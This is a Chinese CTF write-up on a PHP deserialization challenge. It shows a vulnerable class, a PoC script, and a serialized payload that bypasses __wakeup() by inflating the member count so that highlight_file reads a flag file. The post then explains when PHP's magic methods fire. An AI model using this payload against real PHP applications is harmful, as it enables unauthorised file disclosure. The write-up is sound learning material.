前置知识:
1 2 3 4 5 6 7 8 9 10 11
| 1,php中__FILE__是什么意思, php中__FILE__是一个魔术常量,它会返回当前执行PHP脚本的完整路径和文件名。自PHP 4.0.2版本起,它总是包含一个绝对路径。
2,__wakeup()说明, unserialize()会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup() 方法
3,__wakeup()魔术方法绕过, php版本为PHP5<5.6.25,PHP7 < 7.0.10时,只要序列化的中的成员数大于实际成员数,即可绕过该魔法函数,比如一个ctf的类序列化后是 O:3:"ctf":1:{s:4:"flag";s:3:"111";} 把成员数"1",改为"2"即可绕过,更改之后为 O:3:"ctf":2:{s:4:"flag";s:3:"111";}
|
进入靶场,发现是一个反序列化题目,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php class X { public $x = __FILE__; function __construct($x) { $this->x = $x; } function __wakeup() { if ($this->x !== __FILE__) { $this->x = __FILE__; } } function __destruct() { highlight_file($this->x); } } if (isset($_REQUEST['x'])) { @unserialize($_REQUEST['x']); } else { highlight_file(__FILE__); }
|
先说下我当时的想法,就是一看到__wakeup(),八成是要绕过它的,然后危险函数是highlight_file(),只需要把里面的变量换为flag的绝对路径,然后将序列化后的字符中路径修改为靶机flag文件的绝对路径,接着再修改成员数(必须大于当前真实的成员数目),提交参数就可以了。
编写poc,
1 2 3 4 5 6 7 8
| <?php class X { public $x = __FILE__;
} $a=new X(); echo(serialize($a));
|
运行结果为,
1
| O:1:"X":1:{s:1:"x";s:37:"D:\桌面\工具\php\teacher.php";}
|
百度搜下linux的www文件目录一般是什么,
那么把目录修改下,最终的payload为,
1 2 3
| O:1:"X":2:{s:1:"x";s:27:"/var/www/html/fllllllag.php";} //注意目录改变后,需要将目录的长度修改为当前实际长度27(原来是37) //因为要绕过__wakeup(),需要将成员数1修改为2(任何大于1的都可以)
|
提交成功,flag浮现,
写一个题目的目的不仅仅是找到正确flag得分,更重要的是从这个题目中学到了些什么知识
这个题目我只是依靠经验做出来了,但是如果让我具体分析
1,为什么要绕过__wakeup()
,不绕过为什么不行?
2,为什么提交payload后不是显示的是x = __FILE__;
的源码?触发__construct()函数不是会将$x赋值为当前文件件绝对路径吗?我说不出来……
所以在提交完正确的flag后,我也是想到了刚才说的两个问题,于是乎再研究了一下,现在回答下这两个问题。
先了解一下反序列化具体过程,
1 2 3 4 5
| unserialize() 对单一的已序列化的变量进行操作,将其转换回 php 的值。在解序列化一个对象前,这个对象的类必须在解序列化之前定义。 简单来理解起来就算将序列化过存储到文件中的数据,恢复到程序代码的变量表示形式的过程,恢复到变量序列化之前的结果。
$s = file_get_contents(‘./目标文本文件'); //取得文本文件的内容(之前序列化过的字符串) $变量 = unserialize($s); //将该文本内容,反序列化到指定的变量中
|
通过一个例子来了解反序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php class user { public $age = 0; public $name = ''; public function printdata() { echo 'user '.$this->name.' is '.$this->age.' years old. <br />'; } }
$user = unserialize('O:4:"user":2:{s:3:"age";i:10;s:4:"name";s:4:"tome";}'); $user->printdata(); ?>
|
通过源码知道,虽然没有创建类user的对象,但是反序列化之后,可以直接调用$user中的printdata()方法。那么问题来了,unserialize()函数返回的是个什么东东,为什么可以当对象使用?
在本地测试一下,
发现unserialize()函数返回值是类user的一个实例对象,其中对象里变量$age,$name的值是序列化字符串里对应的,10,tome。
简单说,不管类中变量值是什么,构造的序列化字符串里变量的值是什么,反序列化后创建的该类对象里的变量值就是什么。
上述代码运行结果如下,
验证了上述猜测。
我还有个疑问,就是__construct(),__destruct()
这两个函数什么情况下被触发?以前都是看的比较专业的语言说明的,也没看太懂。
通过下面例子可以更明白两个函数被触发的情况,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php class TestClass { public function __construct() { echo "__construct()!!!"; } public function __destruct() { echo "__destruct()!!!"; } } $class = new TestClass(); echo "000\n"; $a = serialize($class); echo "111\n"; $b = unserialize($a); echo "222\n"; unset($class);
|
输出,
1 2 3 4
| __construct()!!!000 111 222 __destruct()!!!__destruct()!!!
|
去掉unset()函数,再试下没有该函数,会不会触发__destruct()
函数?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php class TestClass { public function __construct() { echo "__construct()!!!"; } public function __destruct() { echo "__destruct()!!!"; } } $class = new TestClass(); echo "000\n"; $a = serialize($class); echo "111\n"; $b = unserialize($a); echo "222\n";
|
输出结果,还是一样的,
1 2 3 4
| __construct()!!!000 111 222 __destruct()!!!__destruct()!!!
|
(1)说明__construct()
会在创建对象的时候($class = new TestClass();
)被触发,但是反序列化时$b = unserialize($a);
,不会被触发。
为什么反序列化返回了一个对象,但是不会触发__construct()
呢?下面是我的一些理解,有不正确的地方请各位大佬批评指正,
1 2 3 4
| 虽然有对象被创建,但是因为unserialize函数不一定返回的是对象,可返回 integer、float、string、array 或 object。 如果反序列化返回的不是一个对象,那么__construct()就不会被触发, 而integer、float、string、array这些数据类型应该是一样的。 所以反序列化返回的是一个对象时,也不会触发__construct()。 因此可以理解为什么反序列化对象字符为对象的时候,虽然有对象被创建,甚至可以调用返回对象中的函数,但是并不会触发__construct()函数
|
(2)说明__destruct()
会在代码执行完成后被触发一次,因为在php中,程序在运行结束后,会自动的销毁对象!这时会触发destruct()函数。反序列化完成时会触发一次(我理解的是销毁对象),所以才输出两个__destruct()!!!
。
反序列化完成时会触发__destruct()
函数一次(我理解的是销毁对象),这个怎么理解呢,直接上代码说明,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php class TestClass { public $b; public function __destruct() { echo "__destruct()!!!"; } } $class = new TestClass(); $a=serialize($class);
------------------------------------------------------------------------------------------------------------ <?php class TestClass { public $b; public function __destruct() { echo "__destruct()!!!"; } } $class = new TestClass(); $a=serialize($class); $b = unserialize($a);
|
最后总的来梳理一下题目反序列化时的过程,
1 2 3 4 5 6 7 8 9 10
| 1,运行poc,输入序列化后的字符串 O:1:"X":1:{s:1:"x";s:37:"D:\桌面\工具\php\teacher.php";} 修改fllllllag.php文件路径为 /var/www/html/fllllllag.php ,并修改相应字符长度值为27。 提交后,在执行unserialize()函数之前,先检查类里是否有__wakeup()函数,本题中有,就会先执行该函数, 然后会把$x的值赋值为当前文件的绝对路径,我们想要的是fllllllag.php文件,于是需要绕过__wakeup()函数。
2,开始执行unserialize()函数,由于靶机源码中没有$class = new TestClass()这样的创建实体对象代码,所以这时不会触发__construct()函数(不理解的话,可以看文章前面的分析)
3,反序列化后,将传入的序列化字符串中的变量$x的值 /var/www/html/fllllllag.php 赋值给X类中的$x,
4,程序执行完毕,触发 __destruct()函数,并显示路径为$x的文件内容。
|
—————————————————————————–END——————————————————————————————————-